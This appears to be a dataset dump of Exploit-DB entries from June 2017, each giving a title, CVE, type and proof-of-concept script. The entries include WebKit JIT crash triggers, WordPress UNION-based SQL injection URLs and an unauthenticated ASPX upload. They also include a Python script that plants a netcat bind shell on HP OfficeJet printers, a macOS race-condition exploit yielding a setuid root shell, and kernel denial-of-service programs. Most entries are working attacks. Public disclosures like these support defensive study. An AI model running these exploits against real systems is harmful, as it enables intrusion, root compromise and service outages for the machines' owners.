QLWD/code_shield huggingface dataset:
标题: WebKit JSC - JIT Optimization Check Failed in IntegerCheckCombiningPhase::handleBlock EDB-ID: 42190 CVE: 2017-2547 类型: DOS 平台: MULTIPLE 发布日期: 2017-06-16 漏洞利用脚本: <!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1220

When compiling Javascript code into machine code, bound checks for all accesses to a typed array are also inserted. These bound checks are re-optimized and the unnecessary checks are removed, which is performed by IntegerCheckCombiningPhase::handleBlock.
For example, when the following JavaScript code is compiled, there are all bound checks for 8, 5, 2, but after the optimization, the checks for 5 and 2 are removed, and the only check for 8 will remain.

function f() {
    let arr = new Uint32Array(10);
    for (let i = 0; i < 0x100000; i++) {
        parseInt();
    }
    arr[8] = 1;
    arr[5] = 2;
    arr[2] = 3;
}

f();

Note: parseInt is for forcing to start the JIT optimization.

Here's a snippet IntegerCheckCombiningPhase::handleBlock.

void handleBlock(BlockIndex blockIndex)
{
    ...
        if (range.m_count) {
            if (data.m_addend > range.m_maxBound) {
                range.m_maxBound = data.m_addend;
                range.m_maxOrigin = node->origin.semantic;
            } else if (data.m_addend < range.m_minBound) {
                range.m_minBound = data.m_addend;
                range.m_minOrigin = node->origin.semantic;
            }
    ...
}

The problem is that the check |data.m_addend > range.m_maxBound| is a signed comparison.

PoC:
-->

function f() {
    let arr = new Uint32Array(10);
    for (let i = 0; i < 0x100000; i++) {
        parseInt();
    }
    arr[8] = 1;
    arr[-0x12345678] = 2;
}

f(); URL: https://www.exploit-db.com/exploits/42190
标题: WebKit JSC - arrayProtoFuncSplice does not Initialize all Indices EDB-ID: 42189 CVE: 2017-6980 类型: DOS 平台: MULTIPLE 发布日期: 2017-06-16 漏洞利用脚本: <!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1218&desc=2

Here's a snippet of arrayProtoFuncSplice.

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
    ...
            result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
            if (!result)
                return JSValue::encode(throwOutOfMemoryError(exec, scope));
            
            for (unsigned k = 0; k < actualDeleteCount; ++k) {
                JSValue v = getProperty(exec, thisObj, k + actualStart);
                RETURN_IF_EXCEPTION(scope, encodedJSValue());
                if (UNLIKELY(!v)) {
                    continue;
                }
                result->initializeIndex(vm, k, v);
            }
    ...
}

|JSArray::tryCreateForInitializationPrivate| will return an uninitialized JSArray. So the next routine must clear its all indices. But the routine skips holes in |thisObj|. This is fine under normal circumstances because the type of |result| will be ArrayWithUndecided, unless you're having a bad time. We can force |result|'s type to ArrayWithSlowPutArrayStorage by using |JSGlobalObject::haveABadTime|.

PoC:
-->

function gc() {
    for (let i = 0; i < 0x10; i++)
        new ArrayBuffer(0x1000000);
}

Array.prototype.__defineGetter__(0x1000, () => 1);

gc();

for (let i = 0; i < 0x100; i++) {
    new Array(0x100).fill(1234.5678);
}

gc();

print(new Array(0x100).splice(0)); URL: https://www.exploit-db.com/exploits/42189
标题: KBVault MySQL 0.16a - Arbitrary File Upload EDB-ID: 42184 CVE: 2017-9602 类型: WEBAPPS 平台: ASPX 发布日期: 2017-06-14 漏洞利用脚本: # Exploit Title: [KBVault MySQL v0.16a - Unauthenticated File Upload to Run Code]
# Google Dork: [inurl:"FileExplorer/Explorer.aspx"]
# Date: [2017-06-14]
# Exploit Author: [Fatih Emiral]
# Vendor Homepage: [http://kbvaultmysql.codeplex.com/]
# Software Link: [http://kbvaultmysql.codeplex.com/downloads/get/858806]
# Version: [0.16a]
# Tested on: [Windows 7 (applicable to all Windows platforms)]
# CVE : [CVE-2017-9602]

1. Description

KBVault Mysql Free Knowledge Base application package comes with a third party file management component. An unauthenticated user can access the file upload (and delete) functionality using the following URI:

http://host/FileExplorer/Explorer.aspx?id=/Uploads

2. Exploit

Through this functionality a user can upload an ASPX script to run any arbitrary code, e.g.:

http://host/Uploads/Documents/cmd.aspx

3. Solution

Unauthenticated access to the file management function should be prohibited.
File uploads should be checked against executable formats, and only acceptable file types should be allowed to upload.

4. Disclosure Timeline

2017-06-09: Vendor notification
2017-06-09: Vendor responded with intention to fix the vulnerability
2017-06-12: CVE number acquired
2017-06-15: Public disclosure URL: https://www.exploit-db.com/exploits/42184
标题: WordPress Plugin WP Jobs < 1.5 - SQL Injection EDB-ID: 42172 CVE: 2017-9603 类型: WEBAPPS 平台: PHP 发布日期: 2017-06-11 漏洞利用脚本: # Exploit Title: WordPress Plugin WP Jobs < 1.5 - SQL Injection
# Date: 11-06-2017
# Exploit Author: Dimitrios Tsagkarakis
# Website: dtsa.eu 
# Software Link: https://en-gb.wordpress.org/plugins/wp-jobs/
# Vendor Homepage: http://www.intensewp.com/
# Version: 1.4
# CVE : CVE-2017-9603
# Category: webapps

 

1. Description:

   

SQL injection vulnerability in the WP Jobs plugin before 1.5 for WordPress
allows authenticated users to execute arbitrary SQL commands via the jobid
parameter to wp-admin/edit.php. 

 

2. Proof of Concept:

 

http://[wordpress_site]/wp-admin/edit.php?post_type=job&page=WPJobsJobApps&j
obid=5 UNION ALL SELECT NULL,NULL,NULL,@@version,NULL,NULL-- comment

 

3. Solution:

   

A new version of WP Jobs is available. Update the WordPress WP Jobs to the
latest version.

 

4. Reference:

 

http://dtsa.eu/cve-2017-9603-wordpress-wp-jobs-v-1-4-sql-injection-sqli/

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-9603 URL: https://www.exploit-db.com/exploits/42172
标题: WordPress Plugin WP-Testimonials < 3.4.1 - SQL Injection EDB-ID: 42166 CVE: 2017-9418 类型: WEBAPPS 平台: PHP 发布日期: 2017-06-03 漏洞利用脚本: # Exploit Title: WP-Testimonials < 3.4.1 Union Based SQL Injection
# Date: 03-06-2017
# Exploit Author: Dimitrios Tsagkarakis
# Website: dtsa.eu 
# Software Link: https://en-gb.wordpress.org/plugins/wp-testimonials/
# Vendor Homepage: http://www.sunfrogservices.com/web-programmer/wp-testimonials/
# Version: 3.4.1
# CVE : CVE-2017-9418

# Category: webapps

 

1. Description:

   

SQL injection vulnerability in the WP-Testimonials plugin 3.4.1 for
WordPress allows an authenticated user to execute arbitrary SQL commands via
the testid parameter to wp-admin/admin.php.

2. Proof of Concept:

http://[wordpress_site]/wp-admin/admin.php?page=sfstst_manage&mode=sfststedi
t&testid=-1 UNION ALL SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL--
comment

3. Solution:

   

The plugin has been removed from WordPress. Deactivate the plug-in and wait
for a hotfix.

 

4. Reference:

http://dtsa.eu/wp-testimonials-wordpress-plugin-v-3-4-1-union-based-sql-inje
ction-sqli/

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-9418 URL: https://www.exploit-db.com/exploits/42166
标题: GStreamer gst-plugins-bad Plugin - NULL Pointer Dereference EDB-ID: 42162 CVE: 2016-9813 类型: DOS 平台: LINUX 发布日期: 2017-06-12 漏洞利用脚本: Source: https://bugzilla.gnome.org/show_bug.cgi?id=775120

The attached file will cause a null pointer access and segfault in the mpegts parser. Current git code, found with afl.

ASAN stack trace:
=================================================================
==32545==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fe957185495 bp 0x60200002cf7a sp 0x7fe956e027a0 T2)
==32545==The signal is caused by a WRITE memory access.
==32545==Hint: address points to the zero page.
    #0 0x7fe957185494 in _parse_pat /f/gstreamer/gst-plugins-bad/gst-libs/gst/mpegts/gstmpegtssection.c:441:32
    #1 0x7fe957184058 in __common_section_checks /f/gstreamer/gst-plugins-bad/gst-libs/gst/mpegts/gstmpegtssection.c:166:9
    #2 0x7fe95718522f in gst_mpegts_section_get_pat /f/gstreamer/gst-plugins-bad/gst-libs/gst/mpegts/gstmpegtssection.c:480:9
    #3 0x7fe957438b9a in mpegts_base_apply_pat /f/gstreamer/gst-plugins-bad/gst/mpegtsdemux/mpegtsbase.c:942:20
    #4 0x7fe957438b9a in mpegts_base_handle_psi /f/gstreamer/gst-plugins-bad/gst/mpegtsdemux/mpegtsbase.c:1155
    #5 0x7fe957437cd1 in mpegts_base_chain /f/gstreamer/gst-plugins-bad/gst/mpegtsdemux/mpegtsbase.c:1424:11
    #6 0x7fe9574341e7 in mpegts_base_loop /f/gstreamer/gst-plugins-bad/gst/mpegtsdemux/mpegtsbase.c:1589:13
    #7 0x7fe9644305c3 in gst_task_func /f/gstreamer/gstreamer/gst/gsttask.c:334:5
    #8 0x7fe96362f867  (/usr/lib64/libglib-2.0.so.0+0x70867)
    #9 0x7fe96362eed4  (/usr/lib64/libglib-2.0.so.0+0x6fed4)
    #10 0x7fe9630ac443 in start_thread (/lib64/libpthread.so.0+0x7443)
    #11 0x7fe962bdb92c in clone (/lib64/libc.so.6+0xe792c)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /f/gstreamer/gst-plugins-bad/gst-libs/gst/mpegts/gstmpegtssection.c:441:32 in _parse_pat
Thread T2 (tsdemux0:sink) created by T1 (typefind:sink) here:
    #0 0x42e26d in __interceptor_pthread_create (/usr/bin/gst-discoverer-1.0+0x42e26d)
    #1 0x7fe96364cadf  (/usr/lib64/libglib-2.0.so.0+0x8dadf)

Thread T1 (typefind:sink) created by T0 here:
    #0 0x42e26d in __interceptor_pthread_create (/usr/bin/gst-discoverer-1.0+0x42e26d)
    #1 0x7fe96364cadf  (/usr/lib64/libglib-2.0.so.0+0x8dadf)

==32545==ABORTING


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42162.zip URL: https://www.exploit-db.com/exploits/42162
标题: HP PageWide Printers / HP OfficeJet Pro Printers (OfficeJet Pro 8210) - Arbitrary Code Execution EDB-ID: 42176 CVE: 2017-2741 类型: REMOTE 平台: HARDWARE 发布日期: 2017-06-14 漏洞利用脚本: ##
# Create a bind shell on an unpatched OfficeJet 8210
# Write a script to profile.d and reboot the device. When it comes
# back online then nc to port 1270.
#
# easysnmp instructions:
# sudo apt-get install libsnmp-dev
# pip install easysnmp
##

import socket
import sys
from easysnmp import snmp_set

profile_d_script = ('if [ ! -p /tmp/pwned ]; then\n'
                    '\tmkfifo /tmp/pwned\n'
                    '\tcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &\n
                    'fi\n')

if len(sys.argv) != 3:
    print '\nUsage:upload.py [ip] [port]\n'
    sys.exit()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(profile_d_script)) + ' NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n'
dir_query += profile_d_script
dir_query += '\x1b%-12345X'
sock.sendall(dir_query)
sock.close()

sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock1.connect(server_address)
dir_query = '@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh"\r\n'
sock1.sendall(dir_query)

response = ''
while True:
    data = sock1.recv(1)
    if '\n' == data: break
    response += data

print response
snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1)
print 'Done! Try port 1270 in ~30 seconds' URL: https://www.exploit-db.com/exploits/42176
标题: Apple macOS - Disk Arbitration Daemon Race Condition EDB-ID: 42146 CVE: 2017-2533 类型: LOCAL 平台: MACOS 发布日期: 2017-06-09 漏洞利用脚本: #!/bin/bash

# Sources: 
# https://raw.githubusercontent.com/phoenhex/files/master/pocs/poc-mount.sh
# https://phoenhex.re/2017-06-09/pwn2own-diskarbitrationd-privesc

if ! security authorize system.volume.internal.mount &>/dev/null; then
  echo 2>&1 "Cannot acquire system.volume.internal.mount right. This will not work."
  exit 1
fi

TARGET=/private/var/at
SUBDIR=tabs
DISK=/dev/disk0s1

TMPDIR=/tmp/pwn
mkdir -p $TMPDIR
cd $TMPDIR

cat << EOF > boom.c
#include <assert.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char ** argv) {
  assert(argc == 2);
  setuid(0);
  setgid(0);
  system(argv[1]);
}
EOF
clang boom.c -o _boom || exit 1

race_link() {
  mkdir -p mounts

  while true; do
    ln -snf mounts link
    ln -snf $TARGET link
  done
}

race_mount() {
  while ! df -h | grep $TARGET >/dev/null; do
    while df -h | grep $DISK >/dev/null; do
      diskutil umount $DISK &>/dev/null
    done
    while ! df -h | grep $DISK >/dev/null; do
      diskutil mount -mountPoint $TMPDIR/link/$SUBDIR $DISK &>/dev/null
    done
  done
}

cleanup() {
  echo "Killing child process $PID and cleaning up tmp dir"
  kill -9 $PID
  rm -rf $TMPDIR
}

if df -h | grep $DISK >/dev/null; then
  echo 2>&1 "$DISK already mounted. Exiting."
  exit 1
fi

race_link &
PID=$!
trap cleanup EXIT
echo "Just imagine having that root shell. It's gonna be legen..."
race_mount

echo "wait for it..."
CMD="cp $TMPDIR/_boom $TMPDIR/boom; chmod u+s $TMPDIR/boom"
rm -f /var/at/tabs/root
echo "* * * * *" "$CMD" > /var/at/tabs/root

while ! [ -e $TMPDIR/boom ]; do
  sleep 1
done

echo "dary!"
kill -9 $PID
sleep 0.1
$TMPDIR/boom "rm /var/at/tabs/root"
$TMPDIR/boom "umount -f $DISK"
$TMPDIR/boom "rm -rf $TMPDIR; cd /; su" URL: https://www.exploit-db.com/exploits/42146
标题: libcroco 0.6.12 - Denial of Service EDB-ID: 42147 CVE: 2017-8871 类型: DOS 平台: LINUX 发布日期: 2017-06-09 漏洞利用脚本: libcroco multiple vulnerabilities
================
Author : qflb.wu
===============


Introduction:
=============
Libcroco is a standalone css2 parsing and manipulation library.
The parser provides a low level event driven SAC like api and a css object model like api.
Libcroco provides a CSS2 selection engine and an experimental xml/css rendering engine.


Affected version:
=====
0.6.12


Vulnerability Description:
==========================
1. 
the cr_tknzr_parse_comment function in cr-tknzr.c in libcroco 0.6.12 can cause a denial of service (memory allocation error) via a crafted CSS file.


./csslint-0.6 --dump-location libcroco_0_6_12_memory_allocation_error.css


==21841==ERROR: AddressSanitizer failed to allocate 0x20002000 (536879104) bytes of LargeMmapAllocator: 12
...
==21841==AddressSanitizer CHECK failed: /build/buildd/llvm-toolchain-3.4-3.4/projects/compiler-rt/lib/sanitizer_common/sanitizer_posix.cc:68 "(("unable to mmap" && 0)) != (0)" (0x0, 0x0)
    ...
    #10 0x7fd78c2fcb4d in cr_tknzr_parse_comment /home/a/Downloads/libcroco-0.6.12/src/cr-tknzr.c:462
    #11 0x7fd78c2fcb4d in cr_tknzr_get_next_token /home/a/Downloads/libcroco-0.6.12/src/cr-tknzr.c:2218
    #12 0x7fd78c356f6e in cr_parser_try_to_skip_spaces_and_comments /home/a/Downloads/libcroco-0.6.12/src/cr-parser.c:634
    #13 0x7fd78c368a43 in cr_parser_parse_stylesheet /home/a/Downloads/libcroco-0.6.12/src/cr-parser.c:2538
    #14 0x7fd78c368a43 in cr_parser_parse /home/a/Downloads/libcroco-0.6.12/src/cr-parser.c:4381
    #15 0x480a8e in sac_parse_and_display_locations /home/a/Downloads/libcroco-0.6.12/csslint/csslint.c:960
    #16 0x480a8e in main /home/a/Downloads/libcroco-0.6.12/csslint/csslint.c:1001
    #17 0x7fd78b397f44 (/lib/x86_64-linux-gnu/libc.so.6+0x21f44)
    #18 0x47c95c in _start (/home/a/Downloads/libcroco-0.6.12/csslint/.libs/lt-csslint-0.6+0x47c95c)


    Reproducer:
    libcroco_0_6_12_memory_allocation_error.css
    CVE:
    CVE-2017-8834


2.
The cr_parser_parse_selector_core function in cr-parser.c in libcroco 0.6.12 can cause a denial of service(infinite loop and CPU consumption) via a crafted CSS file.


./csslint-0.6 --dump-location libcroco_0_6_12_infinite_loop.css


Reproducer:
libcroco_0_6_12_infinite_loop.css
CVE:
CVE-2017-8871


===============================


qflb.wu () dbappsecurity com cn


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42147.zip URL: https://www.exploit-db.com/exploits/42147
标题: PuTTY < 0.68 - 'ssh_agent_channel_data' Integer Overflow Heap Corruption EDB-ID: 42137 CVE: 2017-6542 类型: DOS 平台: LINUX 发布日期: 2017-06-07 漏洞利用脚本: Source: https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-agent-fwd-overflow.html

summary: Vulnerability: integer overflow permits memory overwrite by forwarded ssh-agent connections
class: vulnerability: This is a security vulnerability.
difficulty: fun: Just needs tuits, and not many of them.
priority: high: This should be fixed in the next release.
present-in: 0.67
fixed-in: 4ff22863d895cb7ebfced4cf923a012a614adaa8 (0.68)

Many versions of PuTTY prior to 0.68 have a heap-corrupting integer overflow bug in the ssh_agent_channel_data function which processes messages sent by remote SSH clients to a forwarded agent connection.

The agent protocol begins every message with a 32-bit length field, which gives the length of the remainder of the message, not including the length field itself. In order to accumulate the entire message including the length field in an internal buffer, PuTTY added 4 to the received length value, to obtain the message length inclusive of everything. This addition was unfortunately missing a check for unsigned integer overflow.

Hence, sending a length field large enough to overflow when 4 is added to it, such as 0xFFFFFFFD, would cause PuTTY to record a value for the total message length (totallen) which was smaller than the amount of data it had already seen (lensofar, which at this point would be 4 bytes for the length field itself). Then, it would assume that the expression totallen-lensofar represented the amount of space it was safe to write into its buffer – but in fact, in the overflowing case, this value would wrap back round to a number just less than 232, far larger than the allocated heap block, and PuTTY could be induced to overwrite its heap with data sent by the attacker.

If your server is running Linux or any reasonably similar Unix, and has the socat network utility installed, then you can use this simple proof of concept to determine whether you are affected. Simply run the shell command

(echo -ne '\xFF\xFF\xFF\xFD\x0B'; cat /dev/zero) | socat stdio unix-connect:$SSH_AUTH_SOCK

and PuTTY will crash.

This bug is only exploitable at all if you have enabled SSH agent forwarding, which is turned off by default. Moreover, an attacker able to exploit this bug would have to have already be able to connect to the Unix-domain socket representing the forwarded agent connection. Since any attacker with that capability would necessarily already be able to generate signatures with your agent's stored private keys, you should in normal circumstances be defended against this vulnerability by the same precautions you and your operating system were already taking to prevent untrusted people from accessing your SSH agent.

This vulnerability was reported by Tim Kosse, and has been assigned CVE ID CVE-2017-6542. URL: https://www.exploit-db.com/exploits/42137
标题: Linux Kernel - 'ping' Local Denial of Service EDB-ID: 42135 CVE: 2017-2671 类型: DOS 平台: ANDROID 发布日期: 2017-06-07 漏洞利用脚本: // Source: https://raw.githubusercontent.com/danieljiang0415/android_kernel_crash_poc/master/panic.c

#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
static int sockfd = 0;
static struct sockaddr_in addr = {0};

void fuzz(void * param){
    while(1){
        addr.sin_family = 0;//rand()%42;
        printf("sin_family1 = %08lx\n", addr.sin_family);
        connect(sockfd, (struct sockaddr *)&addr, 16); 
    }
}
int main(int argc, char **argv)
{
    sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
    int thrd;
    pthread_create(&thrd, NULL, fuzz, NULL);
    while(1){
        addr.sin_family = 0x1a;//rand()%42;
        addr.sin_port = 0;
        addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
        connect(sockfd, (struct sockaddr *)&addr, 16);
        addr.sin_family = 0;
    }
    return 0;
} URL: https://www.exploit-db.com/exploits/42135
标题: Linux Kernel < 4.10.13 - 'keyctl_set_reqkey_keyring' Local Denial of Service EDB-ID: 42136 CVE: 2017-7472 类型: DOS 平台: LINUX 发布日期: 2017-06-07 漏洞利用脚本: /*
Source: https://bugzilla.novell.com/show_bug.cgi?id=1034862
QA REPRODUCER:

gcc -O2 -o CVE-2017-7472 CVE-2017-7472.c -lkeyutils
./CVE-2017-7472

(will run the kernel out of memory)
*/
#include <sys/types.h>
#include <keyutils.h>

int main()
{
 for (;;)
  keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING);
} URL: https://www.exploit-db.com/exploits/42136
标题: Artifex MuPDF - Null Pointer Dereference EDB-ID: 42138 CVE: 2017-5991 类型: DOS 平台: LINUX 发布日期: 2017-06-07 漏洞利用脚本: Source: https://bugs.ghostscript.com/show_bug.cgi?id=697500

POC to trigger null pointer dereference (mutool)

After some fuzz testing I found a crashing test case.

Git HEAD: 8eea208e099614487e4bd7cc0d67d91489dae642

To reproduce: mutool convert -F cbz nullptr_fz_paint_pixmap_with_mask -o /dev/null

ASAN:

==1406==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000020 (pc 0x000000849633 bp 0x7ffdb430c750 sp 0x7ffdb430c620 T0)
==1406==The signal is caused by a READ memory access.
==1406==Hint: address points to the zero page.
    #0 0x849632 in fz_paint_pixmap_with_mask XYZ/mupdf/source/fitz/draw-paint.c:1948:2
    #1 0x60208c in fz_draw_pop_clip XYZ/mupdf/source/fitz/draw-device.c:1618:4
    #2 0x54e716 in fz_pop_clip XYZ/mupdf/source/fitz/device.c:301:3
    #3 0x8fb76f in pdf_grestore XYZ/mupdf/source/pdf/pdf-op-run.c:338:4
    #4 0x901149 in pdf_run_xobject XYZ/mupdf/source/pdf/pdf-op-run.c:1347:5
    #5 0x8ffa0f in begin_softmask XYZ/mupdf/source/pdf/pdf-op-run.c:148:3
    #6 0x8fac2f in pdf_begin_group XYZ/mupdf/source/pdf/pdf-op-run.c:188:23
    #7 0x8fac2f in pdf_show_shade XYZ/mupdf/source/pdf/pdf-op-run.c:219
    #8 0x8fac2f in pdf_run_sh XYZ/mupdf/source/pdf/pdf-op-run.c:1943
    #9 0x92cc20 in pdf_process_keyword XYZ/mupdf/source/pdf/pdf-interpret.c:770:5
    #10 0x929741 in pdf_process_stream XYZ/mupdf/source/pdf/pdf-interpret.c:953:6
    #11 0x92870f in pdf_process_contents XYZ/mupdf/source/pdf/pdf-interpret.c:1043:3
    #12 0x8e9edc in pdf_run_page_contents_with_usage XYZ/mupdf/source/pdf/pdf-run.c:46:3
    #13 0x8e99c7 in pdf_run_page_contents XYZ/mupdf/source/pdf/pdf-run.c:69:3
    #14 0x553e12 in fz_run_page_contents XYZ/mupdf/source/fitz/document.c:318:4
    #15 0x55423b in fz_run_page XYZ/mupdf/source/fitz/document.c:350:2
    #16 0x4e8021 in runpage XYZ/mupdf/source/tools/muconvert.c:67:2
    #17 0x4e7d85 in runrange XYZ/mupdf/source/tools/muconvert.c:83:5
    #18 0x4e76c7 in muconvert_main XYZ/mupdf/source/tools/muconvert.c:165:4
    #19 0x4e6943 in main XYZ/mupdf/source/tools/mutool.c:112:12
    #20 0x7f6d6818a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #21 0x41a218 in _start (XYZ/mupdf/build/debug/mutool+0x41a218)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV XYZ/mupdf/source/fitz/draw-paint.c:1948:2 in fz_paint_pixmap_with_mask
==1406==ABORTING


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42138.zip URL: https://www.exploit-db.com/exploits/42138